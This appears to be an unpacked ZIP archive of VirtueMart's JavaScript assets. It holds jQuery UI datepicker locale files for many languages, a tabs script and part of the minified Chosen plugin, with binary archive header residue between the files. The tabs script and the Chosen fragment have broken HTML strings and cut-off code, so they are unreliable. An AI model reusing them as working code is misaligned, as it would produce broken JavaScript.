$.datepicker.regional['hu'] = { closeText: 'bezárás', prevText: '« vissza', nextText: 'előre »', currentText: 'ma', monthNames: ['Január', 'Február', 'Március', 'Április', 'Május', 'Június', 'Július', 'Augusztus', 'Szeptember', 'Október', 'November', 'December'], monthNamesShort: ['Jan', 'Feb', 'Már', 'Ápr', 'Máj', 'Jún', 'Júl', 'Aug', 'Szep', 'Okt', 'Nov', 'Dec'], dayNames: ['Vasárnap', 'Hétfö', 'Kedd', 'Szerda', 'Csütörtök', 'Péntek', 'Szombat'], dayNamesShort: ['Vas', 'Hét', 'Ked', 'Sze', 'Csü', 'Pén', 'Szo'], dayNamesMin: ['V', 'H', 'K', 'Sze', 'Cs', 'P', 'Szo'], weekHeader: 'Hé', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hu']); }); PKGy>\Q08com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sv.jsnuW+A/* Swedish initialisation for the jQuery UI date picker plugin. */ /* Written by Anders Ekdahl ( anders@nomadiz.se). */ jQuery(function($){ $.datepicker.regional['sv'] = { closeText: 'Stäng', prevText: '«Förra', nextText: 'Nästa»', currentText: 'Idag', monthNames: ['Januari','Februari','Mars','April','Maj','Juni', 'Juli','Augusti','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNamesShort: ['Sön','Mån','Tis','Ons','Tor','Fre','Lör'], dayNames: ['Söndag','Måndag','Tisdag','Onsdag','Torsdag','Fredag','Lördag'], dayNamesMin: ['Sö','Må','Ti','On','To','Fr','Lö'], weekHeader: 'Ve', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sv']); }); PKGy>\u"8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fa.jsnuW+A/* Persian (Farsi) Translation for the jQuery UI date picker plugin. */ /* Javad Mowlanezhad -- jmowla@gmail.com */ /* Jalali calendar should supported soon! (Its implemented but I have to test it) */ jQuery(function($) { $.datepicker.regional['fa'] = { closeText: 'بستن', prevText: '<قبلي', nextText: 'بعدي>', currentText: 'امروز', monthNames: ['فروردين','ارديبهشت','خرداد','تير','مرداد','شهريور', 'مهر','آبان','آذر','دي','بهمن','اسفند'], monthNamesShort: ['1','2','3','4','5','6','7','8','9','10','11','12'], dayNames: ['يکشنبه','دوشنبه','سه‌شنبه','چهارشنبه','پنجشنبه','جمعه','شنبه'], dayNamesShort: ['ي','د','س','چ','پ','ج', 'ش'], dayNamesMin: ['ي','د','س','چ','پ','ج', 'ش'], weekHeader: 'هف', dateFormat: 'yy/mm/dd', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fa']); });PKGy>\yjj;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-GB.jsnuW+A/* English/UK initialisation for the jQuery UI date picker plugin. */ /* Written by Stuart. */ jQuery(function($){ $.datepicker.regional['en-GB'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-GB']); }); PKGy>\]H8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ta.jsnuW+A/* Tamil (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by S A Sureshkumar (saskumar@live.com). */ jQuery(function($){ $.datepicker.regional['ta'] = { closeText: 'மூடு', prevText: 'முன்னையது', nextText: 'அடுத்தது', currentText: 'இன்று', monthNames: ['தை','மாசி','பங்குனி','சித்திரை','வைகாசி','ஆனி', 'ஆடி','ஆவணி','புரட்டாசி','ஐப்பசி','கார்த்திகை','மார்கழி'], monthNamesShort: ['தை','மாசி','பங்','சித்','வைகா','ஆனி', 'ஆடி','ஆவ','புர','ஐப்','கார்','மார்'], dayNames: ['ஞாயிற்றுக்கிழமை','திங்கட்கிழமை','செவ்வாய்க்கிழமை','புதன்கிழமை','வியாழக்கிழமை','வெள்ளிக்கிழமை','சனிக்கிழமை'], dayNamesShort: ['ஞாயிறு','திங்கள்','செவ்வாய்','புதன்','வியாழன்','வெள்ளி','சனி'], dayNamesMin: ['ஞா','தி','செ','பு','வி','வெ','ச'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ta']); }); PKGy>\VQ8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fr.jsnuW+A/* French initialisation for the jQuery UI date picker plugin. */ /* Written by Keith Wood (kbwood{at}iinet.com.au), Stéphane Nahmani (sholby@sholby.net), Stéphane Raimbault */ jQuery(function($){ $.datepicker.regional['fr'] = { closeText: 'Fermer', prevText: 'Précédent', nextText: 'Suivant', currentText: 'Aujourd\'hui', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Janv.','Févr.','Mars','Avril','Mai','Juin', 'Juil.','Août','Sept.','Oct.','Nov.','Déc.'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'], dayNamesMin: ['D','L','M','M','J','V','S'], weekHeader: 'Sem.', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr']); }); PKGy>\6]]8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-kz.jsnuW+A/* Kazakh (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Dmitriy Karasyov (dmitriy.karasyov@gmail.com). */ jQuery(function($){ $.datepicker.regional['kz'] = { closeText: 'Жабу', prevText: '<Алдыңғы', nextText: 'Келесі>', currentText: 'Бүгін', monthNames: ['Қаңтар','Ақпан','Наурыз','Сәуір','Мамыр','Маусым', 'Шілде','Тамыз','Қыркүйек','Қазан','Қараша','Желтоқсан'], monthNamesShort: ['Қаң','Ақп','Нау','Сәу','Мам','Мау', 'Шіл','Там','Қыр','Қаз','Қар','Жел'], dayNames: ['Жексенбі','Дүйсенбі','Сейсенбі','Сәрсенбі','Бейсенбі','Жұма','Сенбі'], dayNamesShort: ['жкс','дсн','ссн','срс','бсн','жма','снб'], dayNamesMin: ['Жк','Дс','Сс','Ср','Бс','Жм','Сн'], weekHeader: 'Не', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['kz']); }); PKGy>\{2\\8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ar.jsnuW+A/* Arabic Translation for jQuery UI date picker plugin. */ /* Khaled Alhourani -- me@khaledalhourani.com */ /* NOTE: monthNames are the original months names and they are the Arabic names, not the new months name فبراير - يناير and there isn't any Arabic roots for these months */ jQuery(function($){ $.datepicker.regional['ar'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['كانون الثاني', 'شباط', 'آذار', 'نيسان', 'مايو', 'حزيران', 'تموز', 'آب', 'أيلول', 'تشرين الأول', 'تشرين الثاني', 'كانون الأول'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar']); });PKGy>\a8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-el.jsnuW+A/* Greek (el) initialisation for the jQuery UI date picker plugin. */ /* Written by Alex Cicovic (http://www.alexcicovic.com) */ jQuery(function($){ $.datepicker.regional['el'] = { closeText: 'Κλείσιμο', prevText: 'Προηγούμενος', nextText: 'Επόμενος', currentText: 'Τρέχων Μήνας', monthNames: ['Ιανουάριος','Φεβρουάριος','Μάρτιος','Απρίλιος','Μάιος','Ιούνιος', 'Ιούλιος','Αύγουστος','Σεπτέμβριος','Οκτώβριος','Νοέμβριος','Δεκέμβριος'], monthNamesShort: ['Ιαν','Φεβ','Μαρ','Απρ','Μαι','Ιουν', 'Ιουλ','Αυγ','Σεπ','Οκτ','Νοε','Δεκ'], dayNames: ['Κυριακή','Δευτέρα','Τρίτη','Τετάρτη','Πέμπτη','Παρασκευή','Σάββατο'], dayNamesShort: ['Κυρ','Δευ','Τρι','Τετ','Πεμ','Παρ','Σαβ'], dayNamesMin: ['Κυ','Δε','Τρ','Τε','Πε','Πα','Σα'], weekHeader: 'Εβδ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['el']); });PKGy>\U4=dd8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hr.jsnuW+A/* Croatian i18n for the jQuery UI date picker plugin. */ /* Written by Vjekoslav Nesek. */ jQuery(function($){ $.datepicker.regional['hr'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Siječanj','Veljača','Ožujak','Travanj','Svibanj','Lipanj', 'Srpanj','Kolovoz','Rujan','Listopad','Studeni','Prosinac'], monthNamesShort: ['Sij','Velj','Ožu','Tra','Svi','Lip', 'Srp','Kol','Ruj','Lis','Stu','Pro'], dayNames: ['Nedjelja','Ponedjeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Tje', dateFormat: 'dd.mm.yy.', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['hr']); });PKGy>\1v8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-he.jsnuW+A/* Hebrew initialisation for the UI Datepicker extension. */ /* Written by Amir Hardon (ahardon at gmail dot com). */ jQuery(function($){ $.datepicker.regional['he'] = { closeText: 'סגור', prevText: '<הקודם', nextText: 'הבא>', currentText: 'היום', monthNames: ['ינואר','פברואר','מרץ','אפריל','מאי','יוני', 'יולי','אוגוסט','ספטמבר','אוקטובר','נובמבר','דצמבר'], monthNamesShort: ['1','2','3','4','5','6', '7','8','9','10','11','12'], dayNames: ['ראשון','שני','שלישי','רביעי','חמישי','שישי','שבת'], dayNamesShort: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], dayNamesMin: ['א\'','ב\'','ג\'','ד\'','ה\'','ו\'','שבת'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['he']); }); PKGy>\R  8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr.jsnuW+A/* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr'] = { closeText: 'Затвори', prevText: '<', nextText: '>', currentText: 'Данас', monthNames: ['Јануар','Фебруар','Март','Април','Мај','Јун', 'Јул','Август','Септембар','Октобар','Новембар','Децембар'], monthNamesShort: ['Јан','Феб','Мар','Апр','Мај','Јун', 'Јул','Авг','Сеп','Окт','Нов','Дец'], dayNames: ['Недеља','Понедељак','Уторак','Среда','Четвртак','Петак','Субота'], dayNamesShort: ['Нед','Пон','Уто','Сре','Чет','Пет','Суб'], dayNamesMin: ['Не','По','Ут','Ср','Че','Пе','Су'], weekHeader: 'Сед', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr']); }); PKGy>\crr8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tr.jsnuW+A/* Turkish initialisation for the jQuery UI date picker plugin. */ /* Written by Izzet Emre Erkan (kara@karalamalar.net). */ jQuery(function($){ $.datepicker.regional['tr'] = { closeText: 'kapat', prevText: '<geri', nextText: 'ileri>', currentText: 'bugün', monthNames: ['Ocak','Şubat','Mart','Nisan','Mayıs','Haziran', 'Temmuz','Ağustos','Eylül','Ekim','Kasım','Aralık'], monthNamesShort: ['Oca','Şub','Mar','Nis','May','Haz', 'Tem','Ağu','Eyl','Eki','Kas','Ara'], dayNames: ['Pazar','Pazartesi','Salı','Çarşamba','Perşembe','Cuma','Cumartesi'], dayNamesShort: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], dayNamesMin: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tr']); });PKGy>\8=ޕ8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pl.jsnuW+A/* Polish initialisation for the jQuery UI date picker plugin. */ /* Written by Jacek Wysocki (jacek.wysocki@gmail.com). */ jQuery(function($){ $.datepicker.regional['pl'] = { closeText: 'Zamknij', prevText: '<Poprzedni', nextText: 'Następny>', currentText: 'Dziś', monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec', 'Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty','Lu','Mar','Kw','Maj','Cze', 'Lip','Sie','Wrz','Pa','Lis','Gru'], dayNames: ['Niedziela','Poniedziałek','Wtorek','Środa','Czwartek','Piątek','Sobota'], dayNamesShort: ['Nie','Pn','Wt','Śr','Czw','Pt','So'], dayNamesMin: ['N','Pn','Wt','Śr','Cz','Pt','So'], weekHeader: 'Tydz', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pl']); }); PKGy>\8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-it.jsnuW+A/* Italian initialisation for the jQuery UI date picker plugin. */ /* Written by Antonello Pasella (antonello.pasella@gmail.com). */ jQuery(function($){ $.datepicker.regional['it'] = { closeText: 'Chiudi', prevText: '<Prec', nextText: 'Succ>', currentText: 'Oggi', monthNames: ['Gennaio','Febbraio','Marzo','Aprile','Maggio','Giugno', 'Luglio','Agosto','Settembre','Ottobre','Novembre','Dicembre'], monthNamesShort: ['Gen','Feb','Mar','Apr','Mag','Giu', 'Lug','Ago','Set','Ott','Nov','Dic'], dayNames: ['Domenica','Lunedì','Martedì','Mercoledì','Giovedì','Venerdì','Sabato'], dayNamesShort: ['Dom','Lun','Mar','Mer','Gio','Ven','Sab'], dayNamesMin: ['Do','Lu','Ma','Me','Gi','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['it']); }); PKGy>\h\\8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ru.jsnuW+A/* Russian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Andrew Stromnov (stromnov@gmail.com). */ jQuery(function($){ $.datepicker.regional['ru'] = { closeText: 'Закрыть', prevText: '<Пред', nextText: 'След>', currentText: 'Сегодня', monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь', 'Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], dayNamesMin: ['Вс','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Нед', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ru']); });PKGy>\x{8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ko.jsnuW+A/* Korean initialisation for the jQuery calendar extension. */ /* Written by DaeKwon Kang (ncrash.dk@gmail.com). */ jQuery(function($){ $.datepicker.regional['ko'] = { closeText: '닫기', prevText: '이전달', nextText: '다음달', currentText: '오늘', monthNames: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], monthNamesShort: ['1월(JAN)','2월(FEB)','3월(MAR)','4월(APR)','5월(MAY)','6월(JUN)', '7월(JUL)','8월(AUG)','9월(SEP)','10월(OCT)','11월(NOV)','12월(DEC)'], dayNames: ['일','월','화','수','목','금','토'], dayNamesShort: ['일','월','화','수','목','금','토'], dayNamesMin: ['일','월','화','수','목','금','토'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: '년'}; $.datepicker.setDefaults($.datepicker.regional['ko']); });PKGy>\O;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fr-CH.jsnuW+A/* Swiss-French initialisation for the jQuery UI date picker plugin. */ /* Written Martin Voelkle (martin.voelkle@e-tc.ch). */ jQuery(function($){ $.datepicker.regional['fr-CH'] = { closeText: 'Fermer', prevText: '<Préc', nextText: 'Suiv>', currentText: 'Courant', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun', 'Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], dayNamesMin: ['Di','Lu','Ma','Me','Je','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr-CH']); });PKGy>\/FF8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-vi.jsnuW+A/* Vietnamese initialisation for the jQuery UI date picker plugin. */ /* Translated by Le Thanh Huy (lthanhhuy@cit.ctu.edu.vn). */ jQuery(function($){ $.datepicker.regional['vi'] = { closeText: 'Đóng', prevText: '<Trước', nextText: 'Tiếp>', currentText: 'Hôm nay', monthNames: ['Tháng Một', 'Tháng Hai', 'Tháng Ba', 'Tháng Tư', 'Tháng Năm', 'Tháng Sáu', 'Tháng Bảy', 'Tháng Tám', 'Tháng Chín', 'Tháng Mười', 'Tháng Mười Một', 'Tháng Mười Hai'], monthNamesShort: ['Tháng 1', 'Tháng 2', 'Tháng 3', 'Tháng 4', 'Tháng 5', 'Tháng 6', 'Tháng 7', 'Tháng 8', 'Tháng 9', 'Tháng 10', 'Tháng 11', 'Tháng 12'], dayNames: ['Chủ Nhật', 'Thứ Hai', 'Thứ Ba', 'Thứ Tư', 'Thứ Năm', 'Thứ Sáu', 'Thứ Bảy'], dayNamesShort: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], dayNamesMin: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], weekHeader: 'Tu', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['vi']); }); PKGy>\PP;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sr-SR.jsnuW+A/* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr-SR'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Jun', 'Jul','Avgust','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Sreda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sre','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Sed', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr-SR']); }); PKGy>\(com_virtuemart/assets/js/i18n/index.htmlnuW+APKGy>\9yy8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-eo.jsnuW+A/* Esperanto initialisation for the jQuery UI date picker plugin. */ /* Written by Olivier M. (olivierweb@ifrance.com). */ jQuery(function($){ $.datepicker.regional['eo'] = { closeText: 'Fermi', prevText: '<Anta', nextText: 'Sekv>', currentText: 'Nuna', monthNames: ['Januaro','Februaro','Marto','Aprilo','Majo','Junio', 'Julio','Aŭgusto','Septembro','Oktobro','Novembro','Decembro'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aŭg','Sep','Okt','Nov','Dec'], dayNames: ['Dimanĉo','Lundo','Mardo','Merkredo','Ĵaŭdo','Vendredo','Sabato'], dayNamesShort: ['Dim','Lun','Mar','Mer','Ĵaŭ','Ven','Sab'], dayNamesMin: ['Di','Lu','Ma','Me','Ĵa','Ve','Sa'], weekHeader: 'Sb', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eo']); }); PKGy>\rY ww8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sq.jsnuW+A/* Albanian initialisation for the jQuery UI date picker plugin. */ /* Written by Flakron Bytyqi (flakron@gmail.com). */ jQuery(function($){ $.datepicker.regional['sq'] = { closeText: 'mbylle', prevText: '<mbrapa', nextText: 'Përpara>', currentText: 'sot', monthNames: ['Janar','Shkurt','Mars','Prill','Maj','Qershor', 'Korrik','Gusht','Shtator','Tetor','Nëntor','Dhjetor'], monthNamesShort: ['Jan','Shk','Mar','Pri','Maj','Qer', 'Kor','Gus','Sht','Tet','Nën','Dhj'], dayNames: ['E Diel','E Hënë','E Martë','E Mërkurë','E Enjte','E Premte','E Shtune'], dayNamesShort: ['Di','Hë','Ma','Më','En','Pr','Sh'], dayNamesMin: ['Di','Hë','Ma','Më','En','Pr','Sh'], weekHeader: 'Ja', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sq']); }); PKGy>\uU8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-af.jsnuW+A/* Afrikaans initialisation for the jQuery UI date picker plugin. */ /* Written by Renier Pretorius. */ jQuery(function($){ $.datepicker.regional['af'] = { closeText: 'Selekteer', prevText: 'Vorige', nextText: 'Volgende', currentText: 'Vandag', monthNames: ['Januarie','Februarie','Maart','April','Mei','Junie', 'Julie','Augustus','September','Oktober','November','Desember'], monthNamesShort: ['Jan', 'Feb', 'Mrt', 'Apr', 'Mei', 'Jun', 'Jul', 'Aug', 'Sep', 'Okt', 'Nov', 'Des'], dayNames: ['Sondag', 'Maandag', 'Dinsdag', 'Woensdag', 'Donderdag', 'Vrydag', 'Saterdag'], dayNamesShort: ['Son', 'Maa', 'Din', 'Woe', 'Don', 'Vry', 'Sat'], dayNamesMin: ['So','Ma','Di','Wo','Do','Vr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['af']); }); PKGy>\Q;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-AU.jsnuW+A/* English/Australia initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-AU'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-AU']); }); PKGy>\Tq#-com_virtuemart/assets/js/jquery.noconflict.jsnuW+AjQuery.noConflict();PKGy>\WC"com_virtuemart/assets/js/vmtabs.jsnuW+Afunction vm2tabs(pages) { pages.addClass("dyn-tabs"); pages.first().show(); var tabNavigation = jQuery('
          ').insertBefore(pages.first()); pages.each(function() { var listElement = jQuery("
        • "); var label = jQuery(this).attr("title") ? jQuery(this).attr("title") : "Kein Label"; listElement.text(label); tabNavigation.append(listElement); }); var items = tabNavigation.find("li"); items.first().addClass("current"); items.click(function() { items.removeClass("current"); jQuery(this).addClass("current"); pages.hide(); pages.eq(jQuery(this).index()).fadeIn(200); }); } jQuery(document).ready(function() { vm2tabs(jQuery("#ui-tabs .tabs")); });PKGy>\ "+f.html+"
        • "}else{return""}};c.prototype.results_update_field=function(){this.result_clear_highlight();this.result_single_selected=null;return this.results_build()};c.prototype.results_toggle=function(){if(this.results_showing){return this.results_hide()}else{return this.results_show()}};c.prototype.results_search=function(d){if(this.results_showing){return this.winnow_results()}else{return this.results_show()}};c.prototype.keyup_checker=function(d){var f,e;f=(e=d.which)!=null?e:d.keyCode;this.search_field_scale();switch(f){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices>0){this.keydown_backstroke()}else{if(!this.pending_backstroke){this.result_clear_highlight();this.results_search()}}break;case 13:d.preventDefault();if(this.results_showing){this.result_select(d)}break;case 27:if(this.results_showing){this.results_hide()}return true;case 9:case 38:case 40:case 16:case 91:case 17:break;default:this.results_search()}if(this.enable_select_all){return this.select_all_toggle()}};c.prototype.generate_field_id=function(){var d;d=this.generate_random_id();this.form_field.id=d;return d};c.prototype.generate_random_char=function(){var f,e,d;f="0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZ";d=Math.floor(Math.random()*f.length);return e=f.substring(d,d+1)};return c})();a.AbstractChosen=b}).call(this);(function(){var e,f,d,a,b=Object.prototype.hasOwnProperty,c=function(j,h){for(var g in h){if(b.call(h,g)){j[g]=h[g]}}function i(){this.constructor=j}i.prototype=h.prototype;j.prototype=new i;j.__super__=h.prototype;return j};a=this;e=jQuery;e.fn.extend({chosen:function(g){if(e.browser.msie&&(e.browser.version==="6.0"||e.browser.version==="7.0")){return this}return e(this).each(function(h){if(!(e(this)).hasClass("chzn-done")){return new f(this,g)}})}});f=(function(g){c(h,g);function h(){h.__super__.constructor.apply(this,arguments)}h.prototype.setup=function(){this.form_field_jq=e(this.form_field);return this.is_rtl=this.form_field_jq.hasClass("chzn-rtl")};h.prototype.finish_setup=function(){return this.form_field_jq.addClass("chzn-done")};h.prototype.set_up_html=function(){var l,k,j,i;this.container_id=this.form_field.id.length?this.form_field.id.replace(/(:|\.)/g,"_"):this.generate_field_id();this.container_id+="_chzn";this.f_width=this.form_field_jq.outerWidth();this.default_text=this.form_field_jq.data("placeholder")?this.form_field_jq.data("placeholder"):this.default_text_default;l=e("
          ",{id:this.container_id,"class":"chzn-container"+(this.is_rtl?" chzn-rtl":""),style:"width: "+this.f_width+"px;"});if(this.is_multiple){l.html('
            ')}else{l.html(''+this.default_text+'
              ')}this.form_field_jq.hide().after(l);this.container=e("#"+this.container_id);this.container.addClass("chzn-container-"+(this.is_multiple?"multi":"single"));this.dropdown=this.container.find("div.chzn-drop").first();if(this.enable_select_all){this.select_all_setup()}k=this.container.height();j=this.f_width-d(this.dropdown);this.dropdown.css({width:j+"px",top:k+"px"});this.search_field=this.container.find("input").first();this.search_results=this.container.find("ul.chzn-results").first();this.search_field_scale();this.search_no_results=this.container.find("li.no-results").first();if(this.is_multiple){this.search_choices=this.container.find("ul.chzn-choices").first();this.search_container=this.container.find("li.search-field").first()}else{this.search_container=this.container.find("div.chzn-search").first();this.selected_item=this.container.find(".chzn-single").first();i=j-d(this.search_container)-d(this.search_field);this.search_field.css({width:i+"px"})}this.results_build();this.set_tab_index();return this.form_field_jq.trigger("liszt:ready",{chosen:this})};h.prototype.register_observers=function(){var 